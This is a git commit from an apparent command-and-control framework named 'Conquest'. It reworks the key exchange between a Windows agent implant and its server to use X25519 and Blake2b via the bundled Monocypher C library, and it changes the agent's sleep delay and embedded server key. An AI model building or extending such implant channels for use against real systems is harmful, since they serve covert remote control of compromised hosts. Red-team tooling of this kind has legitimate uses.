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Reworked key exchange, now using direct C imports from monocypher instead of nimble modules/libraries.

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This commit is contained in:
Jakob Friedl
2025-07-24 17:26:48 +02:00
parent b6c720ccca
commit 3e9178ec34
7 changed files with 3357 additions and 61 deletions
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7
src/agents/monarch/main.nim
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@@ -3,7 +3,6 @@ import winim
import core/[task, taskresult, heartbeat, http, register]
import ../../common/[types, utils, crypto]
import sugar
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
@@ -36,7 +35,7 @@ proc main() =
# Create agent configuration
var config: AgentConfig
try:
let agentKeyPair = generateKeyPair()
var agentKeyPair = generateKeyPair()
let serverPublicKey = decode(ServerPublicKey).toKey()
config = AgentConfig(
@@ -49,8 +48,8 @@ proc main() =
agentPublicKey: agentKeyPair.publicKey
)
# Clean up agent's private key from memory
zeroMem(agentKeyPair.privateKey[0].addr, sizeof(PrivateKey))
# Cleanup agent's secret key
wipeKey(agentKeyPair.privateKey)
except CatchableError as err:
echo "[-] " & err.msg

4
src/agents/monarch/nim.cfg
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@@ -5,5 +5,5 @@
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=9999
-d:SleepDelay=10
-d:ServerPublicKey="8OysfB6C8kn8KSu8bYIH/78BMCpFOZsTaAWEG+860HY="
-d:SleepDelay=5
-d:ServerPublicKey="oxrOv1HwX1BKvMB0iVLTA0Kfc9Iit4NzP5g8NekvNUs="

122
src/common/crypto.nim
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@@ -1,8 +1,5 @@
import system
import nimcrypto
import nimcrypto/blake2
from ed25519 import keyExchange, createKeyPair, seed
# from monocypher import crypto_key_exchange_public_key, crypto_key_exchange, crypto_blake2b, crypto_wipe
import ./[utils, types]
@@ -10,14 +7,6 @@ import ./[utils, types]
Symmetric AES256 GCM encryption for secure C2 traffic
Ensures both confidentiality and integrity of the packet
]#
proc generateKeyPair*(): KeyPair =
let keyPair = createKeyPair(seed())
return KeyPair(
privateKey: keyPair.privateKey,
publicKey: keyPair.publicKey
)
proc generateIV*(): Iv =
# Generate a random 98-bit (12-byte) initialization vector for AES-256 GCM mode
var iv: Iv
@@ -56,41 +45,54 @@ proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (se
return (data, tag)
#[
ECDHE key exchange using ed25519
]#
proc loadKeys*(privateKeyFile, publicKeyFile: string): KeyPair =
let filePrivate = open(privateKeyFile, fmRead)
defer: filePrivate.close()
Key exchange using X25519 and Blake2b
Elliptic curve cryptography ensures that the actual session key is never sent over the network
Private keys and shared secrets are wiped from agent memory as soon as possible
]#
{.compile: "monocypher/monocypher.c".}
{.passc: "-Imonocypher".}
var privateKey: PrivateKey
var bytesRead = filePrivate.readBytes(privateKey, 0, sizeof(PrivateKey))
# C function imports from (monocypher/monocypher.c)
proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.}
proc crypto_x25519_public_key*(public_key: ptr byte, secret_key: ptr byte) {.importc, cdecl.}
proc crypto_blake2b_keyed*(hash: ptr byte, hash_size: csize_t, key: ptr byte, key_size: csize_t, message: ptr byte, message_size: csize_t) {.importc, cdecl.}
proc crypto_wipe*(data: ptr byte, size: csize_t) {.importc, cdecl.}
if bytesRead != sizeof(PrivateKey):
raise newException(ValueError, "Invalid private key length.")
# Generate X25519 public key from private key
proc getPublicKey*(privateKey: Key): Key =
crypto_x25519_public_key(result[0].addr, privateKey[0].addr)
let filePublic = open(publicKeyFile, fmRead)
defer: filePublic.close()
# Perform X25519 key exchange
proc keyExchange*(privateKey: Key, publicKey: Key): Key =
crypto_x25519(result[0].addr, privateKey[0].addr, publicKey[0].addr)
var publicKey: PublicKey
bytesRead = filePublic.readBytes(publicKey, 0, sizeof(PublicKey))
# Calculate Blake2b hash
func pointerAndLength*(bytes: openArray[byte]): (ptr[byte], uint) =
result = (cast[ptr[byte]](unsafeAddr bytes), uint(len(bytes)))
if bytesRead != sizeof(PublicKey):
raise newException(ValueError, "Invalid public key length.")
func blake2b*(message: openArray[byte], key: openArray[byte] = []): array[64, byte] =
let (messagePtr, messageLen) = pointerAndLength(message)
let (keyPtr, keyLen) = pointerAndLength(key)
crypto_blake2b_keyed(addr result[0], 64, keyPtr, keyLen, messagePtr, messageLen)
# Secure memory wiping
proc wipeKey*(data: var openArray[byte]) =
if data.len > 0:
crypto_wipe(data[0].addr, data.len.csize_t)
# Key pair generation
proc generateKeyPair*(): KeyPair =
var privateKey: Key
if randomBytes(privateKey) != sizeof(Key):
raise newException(ValueError, "Failed to generate key.")
return KeyPair(
privateKey: privateKey,
publicKey: publicKey
privateKey: privateKey,
publicKey: getPublicKey(privateKey)
)
proc writeKey*[T: PublicKey | PrivateKey](keyFile: string, key: T) =
let file = open(keyFile, fmWrite)
defer: file.close()
let bytesWritten = file.writeBytes(key, 0, sizeof(T))
if bytesWritten != sizeof(T):
raise newException(ValueError, "Invalid key length.")
# Key derivation
proc combineKeys(publicKey, otherPublicKey: Key): Key =
# XOR is a commutative operation, that ensures that the order of the public keys does not matter
for i in 0..<32:
@@ -98,24 +100,44 @@ proc combineKeys(publicKey, otherPublicKey: Key): Key =
proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
var key: Key
# Calculate shared secret (https://monocypher.org/manual/x25519)
let sharedSecret = keyExchange(publicKey, keyPair.privateKey)
var sharedSecret = keyExchange(keyPair.privateKey, publicKey)
# Add combined public keys to hash
let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey)
let hashMessage: seq[byte] = "CONQUEST".toBytes() & @combinedKeys
# Calculate Blake2b hash to derive session key
var ctx: blake2_512
ctx.init()
ctx.update(sharedSecret)
ctx.update("CONQUEST".toBytes() & @combinedKeys)
let hash = ctx.finish
let bytes = hash.data[0..<sizeof(Key)]
copyMem(key[0].addr, bytes[0].addr, sizeof(Key))
# Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b)
let hash = blake2b(hashMessage, sharedSecret)
copyMem(key[0].addr, hash[0].addr, sizeof(Key))
# Cleanup
zeroMem(sharedSecret[0].addr, sharedSecret.len)
wipeKey(sharedSecret)
return key
return key
# Key management
proc loadKeyPair*(keyFile: string): KeyPair =
let file = open(keyFile, fmRead)
defer: file.close()
var privateKey: Key
let bytesRead = file.readBytes(privateKey, 0, sizeof(Key))
if bytesRead != sizeof(Key):
raise newException(ValueError, "Invalid key length.")
return KeyPair(
privateKey: privateKey,
publicKey: getPublicKey(privateKey)
)
proc writeKeyToDisk*(keyFile: string, key: Key) =
let file = open(keyFile, fmWrite)
defer: file.close()
let bytesWritten = file.writeBytes(key, 0, sizeof(Key))
if bytesWritten != sizeof(Key):
raise newException(ValueError, "Invalid key length.")

2956
src/common/monocypher/monocypher.c Normal file
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File diff suppressed because it is too large Load Diff

321
src/common/monocypher/monocypher.h Normal file
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@@ -0,0 +1,321 @@
// Monocypher version __git__
//
// This file is dual-licensed. Choose whichever licence you want from
// the two licences listed below.
//
// The first licence is a regular 2-clause BSD licence. The second licence
// is the CC-0 from Creative Commons. It is intended to release Monocypher
// to the public domain. The BSD licence serves as a fallback option.
//
// SPDX-License-Identifier: BSD-2-Clause OR CC0-1.0
//
// ------------------------------------------------------------------------
//
// Copyright (c) 2017-2019, Loup Vaillant
// All rights reserved.
//
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// 1. Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the
// distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// ------------------------------------------------------------------------
//
// Written in 2017-2019 by Loup Vaillant
//
// To the extent possible under law, the author(s) have dedicated all copyright
// and related neighboring rights to this software to the public domain
// worldwide. This software is distributed without any warranty.
//
// You should have received a copy of the CC0 Public Domain Dedication along
// with this software. If not, see
// <https://creativecommons.org/publicdomain/zero/1.0/>
#ifndef MONOCYPHER_H
#define MONOCYPHER_H
#include <stddef.h>
#include <stdint.h>
#ifdef MONOCYPHER_CPP_NAMESPACE
namespace MONOCYPHER_CPP_NAMESPACE {
#elif defined(__cplusplus)
extern "C" {
#endif
// Constant time comparisons
// -------------------------
// Return 0 if a and b are equal, -1 otherwise
int crypto_verify16(const uint8_t a[16], const uint8_t b[16]);
int crypto_verify32(const uint8_t a[32], const uint8_t b[32]);
int crypto_verify64(const uint8_t a[64], const uint8_t b[64]);
// Erase sensitive data
// --------------------
void crypto_wipe(void *secret, size_t size);
// Authenticated encryption
// ------------------------
void crypto_aead_lock(uint8_t *cipher_text,
uint8_t mac [16],
const uint8_t key [32],
const uint8_t nonce[24],
const uint8_t *ad, size_t ad_size,
const uint8_t *plain_text, size_t text_size);
int crypto_aead_unlock(uint8_t *plain_text,
const uint8_t mac [16],
const uint8_t key [32],
const uint8_t nonce[24],
const uint8_t *ad, size_t ad_size,
const uint8_t *cipher_text, size_t text_size);
// Authenticated stream
// --------------------
typedef struct {
uint64_t counter;
uint8_t key[32];
uint8_t nonce[8];
} crypto_aead_ctx;
void crypto_aead_init_x(crypto_aead_ctx *ctx,
const uint8_t key[32], const uint8_t nonce[24]);
void crypto_aead_init_djb(crypto_aead_ctx *ctx,
const uint8_t key[32], const uint8_t nonce[8]);
void crypto_aead_init_ietf(crypto_aead_ctx *ctx,
const uint8_t key[32], const uint8_t nonce[12]);
void crypto_aead_write(crypto_aead_ctx *ctx,
uint8_t *cipher_text,
uint8_t mac[16],
const uint8_t *ad , size_t ad_size,
const uint8_t *plain_text, size_t text_size);
int crypto_aead_read(crypto_aead_ctx *ctx,
uint8_t *plain_text,
const uint8_t mac[16],
const uint8_t *ad , size_t ad_size,
const uint8_t *cipher_text, size_t text_size);
// General purpose hash (BLAKE2b)
// ------------------------------
// Direct interface
void crypto_blake2b(uint8_t *hash, size_t hash_size,
const uint8_t *message, size_t message_size);
void crypto_blake2b_keyed(uint8_t *hash, size_t hash_size,
const uint8_t *key, size_t key_size,
const uint8_t *message, size_t message_size);
// Incremental interface
typedef struct {
// Do not rely on the size or contents of this type,
// for they may change without notice.
uint64_t hash[8];
uint64_t input_offset[2];
uint64_t input[16];
size_t input_idx;
size_t hash_size;
} crypto_blake2b_ctx;
void crypto_blake2b_init(crypto_blake2b_ctx *ctx, size_t hash_size);
void crypto_blake2b_keyed_init(crypto_blake2b_ctx *ctx, size_t hash_size,
const uint8_t *key, size_t key_size);
void crypto_blake2b_update(crypto_blake2b_ctx *ctx,
const uint8_t *message, size_t message_size);
void crypto_blake2b_final(crypto_blake2b_ctx *ctx, uint8_t *hash);
// Password key derivation (Argon2)
// --------------------------------
#define CRYPTO_ARGON2_D 0
#define CRYPTO_ARGON2_I 1
#define CRYPTO_ARGON2_ID 2
typedef struct {
uint32_t algorithm; // Argon2d, Argon2i, Argon2id
uint32_t nb_blocks; // memory hardness, >= 8 * nb_lanes
uint32_t nb_passes; // CPU hardness, >= 1 (>= 3 recommended for Argon2i)
uint32_t nb_lanes; // parallelism level (single threaded anyway)
} crypto_argon2_config;
typedef struct {
const uint8_t *pass;
const uint8_t *salt;
uint32_t pass_size;
uint32_t salt_size; // 16 bytes recommended
} crypto_argon2_inputs;
typedef struct {
const uint8_t *key; // may be NULL if no key
const uint8_t *ad; // may be NULL if no additional data
uint32_t key_size; // 0 if no key (32 bytes recommended otherwise)
uint32_t ad_size; // 0 if no additional data
} crypto_argon2_extras;
extern const crypto_argon2_extras crypto_argon2_no_extras;
void crypto_argon2(uint8_t *hash, uint32_t hash_size, void *work_area,
crypto_argon2_config config,
crypto_argon2_inputs inputs,
crypto_argon2_extras extras);
// Key exchange (X-25519)
// ----------------------
// Shared secrets are not quite random.
// Hash them to derive an actual shared key.
void crypto_x25519_public_key(uint8_t public_key[32],
const uint8_t secret_key[32]);
void crypto_x25519(uint8_t raw_shared_secret[32],
const uint8_t your_secret_key [32],
const uint8_t their_public_key [32]);
// Conversion to EdDSA
void crypto_x25519_to_eddsa(uint8_t eddsa[32], const uint8_t x25519[32]);
// scalar "division"
// Used for OPRF. Be aware that exponential blinding is less secure
// than Diffie-Hellman key exchange.
void crypto_x25519_inverse(uint8_t blind_salt [32],
const uint8_t private_key[32],
const uint8_t curve_point[32]);
// "Dirty" versions of x25519_public_key().
// Use with crypto_elligator_rev().
// Leaks 3 bits of the private key.
void crypto_x25519_dirty_small(uint8_t pk[32], const uint8_t sk[32]);
void crypto_x25519_dirty_fast (uint8_t pk[32], const uint8_t sk[32]);
// Signatures
// ----------
// EdDSA with curve25519 + BLAKE2b
void crypto_eddsa_key_pair(uint8_t secret_key[64],
uint8_t public_key[32],
uint8_t seed[32]);
void crypto_eddsa_sign(uint8_t signature [64],
const uint8_t secret_key[64],
const uint8_t *message, size_t message_size);
int crypto_eddsa_check(const uint8_t signature [64],
const uint8_t public_key[32],
const uint8_t *message, size_t message_size);
// Conversion to X25519
void crypto_eddsa_to_x25519(uint8_t x25519[32], const uint8_t eddsa[32]);
// EdDSA building blocks
void crypto_eddsa_trim_scalar(uint8_t out[32], const uint8_t in[32]);
void crypto_eddsa_reduce(uint8_t reduced[32], const uint8_t expanded[64]);
void crypto_eddsa_mul_add(uint8_t r[32],
const uint8_t a[32],
const uint8_t b[32],
const uint8_t c[32]);
void crypto_eddsa_scalarbase(uint8_t point[32], const uint8_t scalar[32]);
int crypto_eddsa_check_equation(const uint8_t signature[64],
const uint8_t public_key[32],
const uint8_t h_ram[32]);
// Chacha20
// --------
// Specialised hash.
// Used to hash X25519 shared secrets.
void crypto_chacha20_h(uint8_t out[32],
const uint8_t key[32],
const uint8_t in [16]);
// Unauthenticated stream cipher.
// Don't forget to add authentication.
uint64_t crypto_chacha20_djb(uint8_t *cipher_text,
const uint8_t *plain_text,
size_t text_size,
const uint8_t key[32],
const uint8_t nonce[8],
uint64_t ctr);
uint32_t crypto_chacha20_ietf(uint8_t *cipher_text,
const uint8_t *plain_text,
size_t text_size,
const uint8_t key[32],
const uint8_t nonce[12],
uint32_t ctr);
uint64_t crypto_chacha20_x(uint8_t *cipher_text,
const uint8_t *plain_text,
size_t text_size,
const uint8_t key[32],
const uint8_t nonce[24],
uint64_t ctr);
// Poly 1305
// ---------
// This is a *one time* authenticator.
// Disclosing the mac reveals the key.
// See crypto_lock() on how to use it properly.
// Direct interface
void crypto_poly1305(uint8_t mac[16],
const uint8_t *message, size_t message_size,
const uint8_t key[32]);
// Incremental interface
typedef struct {
// Do not rely on the size or contents of this type,
// for they may change without notice.
uint8_t c[16]; // chunk of the message
size_t c_idx; // How many bytes are there in the chunk.
uint32_t r [4]; // constant multiplier (from the secret key)
uint32_t pad[4]; // random number added at the end (from the secret key)
uint32_t h [5]; // accumulated hash
} crypto_poly1305_ctx;
void crypto_poly1305_init (crypto_poly1305_ctx *ctx, const uint8_t key[32]);
void crypto_poly1305_update(crypto_poly1305_ctx *ctx,
const uint8_t *message, size_t message_size);
void crypto_poly1305_final (crypto_poly1305_ctx *ctx, uint8_t mac[16]);
// Elligator 2
// -----------
// Elligator mappings proper
void crypto_elligator_map(uint8_t curve [32], const uint8_t hidden[32]);
int crypto_elligator_rev(uint8_t hidden[32], const uint8_t curve [32],
uint8_t tweak);
// Easy to use key pair generation
void crypto_elligator_key_pair(uint8_t hidden[32], uint8_t secret_key[32],
uint8_t seed[32]);
#ifdef __cplusplus
}
#endif
#endif // MONOCYPHER_H

6
src/common/types.nim
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@@ -52,8 +52,6 @@ type
# Encryption
type
Key* = array[32, byte]
PublicKey* = array[32, byte]
PrivateKey* = array[64, byte]
Iv* = array[12, byte]
AuthenticationTag* = array[16, byte]
@@ -171,7 +169,7 @@ type
# Server structure
type
KeyPair* = object
privateKey*: PrivateKey
privateKey*: Key
publicKey*: Key
Conquest* = ref object
@@ -191,4 +189,4 @@ type
port*: int
sleep*: int
sessionKey*: Key
agentPublicKey*: PublicKey
agentPublicKey*: Key

2
src/server/core/server.nim
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@@ -136,7 +136,7 @@ proc initConquest*(): Conquest =
cq.listeners = initTable[string, Listener]()
cq.agents = initTable[string, Agent]()
cq.interactAgent = nil
cq.keyPair = loadKeys("../data/keys/conquest-server_ed25519_private.key", "../data/keys/conquest-server_ed25519_public.key")
cq.keyPair = loadKeyPair("../data/keys/conquest-server_x25519_private.key")
return cq